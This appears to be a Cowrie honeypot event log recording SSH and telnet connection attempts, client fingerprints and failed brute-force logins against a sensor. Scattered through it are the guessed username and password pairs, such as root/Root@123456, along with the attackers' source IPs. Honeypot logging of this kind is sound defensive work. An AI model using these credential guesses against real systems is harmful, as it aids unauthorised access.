{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.569071Z","src_ip":"190.167.237.191","session":"1f02c9a47d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lloyd","message":"login attempt [root/lloyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.595184Z","src_ip":"88.147.30.59","session":"06a0f30c2a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.620443Z","src_ip":"190.167.237.191","session":"1f02c9a47d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkkk","message":"login attempt [root/kkkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.849656Z","src_ip":"190.167.237.191","session":"1f02c9a47d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:36.720562Z","src_ip":"88.147.30.59","session":"06a0f30c2a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:36.902829Z","src_ip":"190.167.237.191","session":"1f02c9a47d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":39830,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cd0627a434","protocol":"ssh","message":"New connection: 165.154.6.49:39830 (159.203.135.109:22) [session: 21cd0627a434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:37.821123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:37.827952Z","src_ip":"165.154.6.49","session":"21cd0627a434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:38.048951Z","src_ip":"165.154.6.49","session":"21cd0627a434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grep","message":"login attempt [root/grep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:38.962109Z","src_ip":"165.154.6.49","session":"21cd0627a434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:40.186321Z","src_ip":"165.154.6.49","session":"21cd0627a434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":36744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0497a75f6388","protocol":"ssh","message":"New connection: 221.161.235.168:36744 (159.203.135.109:22) [session: 0497a75f6388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:03.342981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:03.349532Z","src_ip":"221.161.235.168","session":"0497a75f6388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:03.550010Z","src_ip":"221.161.235.168","session":"0497a75f6388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:04.370299Z","src_ip":"221.161.235.168","session":"0497a75f6388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:05.572844Z","src_ip":"221.161.235.168","session":"0497a75f6388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":54206,"dst_ip":"159.203.135.109","dst_port":22,"session":"7858df87cfeb","protocol":"ssh","message":"New connection: 189.113.47.155:54206 (159.203.135.109:22) [session: 7858df87cfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:08.286066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:08.291135Z","src_ip":"189.113.47.155","session":"7858df87cfeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:08.407228Z","src_ip":"189.113.47.155","session":"7858df87cfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:08.912989Z","src_ip":"189.113.47.155","session":"7858df87cfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:10.032486Z","src_ip":"189.113.47.155","session":"7858df87cfeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":33800,"dst_ip":"159.203.135.109","dst_port":22,"session":"4309a8fc86fc","protocol":"ssh","message":"New connection: 139.59.208.49:33800 (159.203.135.109:22) [session: 4309a8fc86fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:19.914925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:19.919893Z","src_ip":"139.59.208.49","session":"4309a8fc86fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:20.006526Z","src_ip":"139.59.208.49","session":"4309a8fc86fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedcxzas","message":"login attempt [root/qwedcxzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:20.376216Z","src_ip":"139.59.208.49","session":"4309a8fc86fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:21.462860Z","src_ip":"139.59.208.49","session":"4309a8fc86fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eec860b4baf","protocol":"telnet","message":"New connection: 142.93.69.27:54330 (10.17.0.5:23) [session: 2eec860b4baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:21.477207Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":42560,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b4064898b37","protocol":"ssh","message":"New connection: 124.155.125.131:42560 (159.203.135.109:22) [session: 9b4064898b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:23.141260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:23.145875Z","src_ip":"124.155.125.131","session":"9b4064898b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.7437405586242676,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:23.220833Z","src_ip":"142.93.69.27","session":"2eec860b4baf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:23.325750Z","src_ip":"124.155.125.131","session":"9b4064898b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:24.061508Z","src_ip":"124.155.125.131","session":"9b4064898b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:25.242025Z","src_ip":"124.155.125.131","session":"9b4064898b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":33478,"dst_ip":"159.203.135.109","dst_port":22,"session":"0328e681f0a0","protocol":"ssh","message":"New connection: 165.154.6.49:33478 (159.203.135.109:22) [session: 0328e681f0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:33.940981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:33.945291Z","src_ip":"165.154.6.49","session":"0328e681f0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:34.159688Z","src_ip":"165.154.6.49","session":"0328e681f0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1A2A3A4A5","message":"login attempt [root/A1A2A3A4A5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:35.049095Z","src_ip":"165.154.6.49","session":"0328e681f0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:36.266776Z","src_ip":"165.154.6.49","session":"0328e681f0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":48422,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbcb32831602","protocol":"ssh","message":"New connection: 221.161.235.168:48422 (159.203.135.109:22) [session: cbcb32831602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:42.536579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:42.541517Z","src_ip":"221.161.235.168","session":"cbcb32831602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:42.740451Z","src_ip":"221.161.235.168","session":"cbcb32831602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soporte123","message":"login attempt [root/soporte123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:43.565183Z","src_ip":"221.161.235.168","session":"cbcb32831602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f77d58b9e38","protocol":"ssh","message":"New connection: 87.251.64.176:34584 (10.17.0.5:22) [session: 8f77d58b9e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:43.594465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:43.599853Z","src_ip":"87.251.64.176","session":"8f77d58b9e38","protocol":"ssh"}
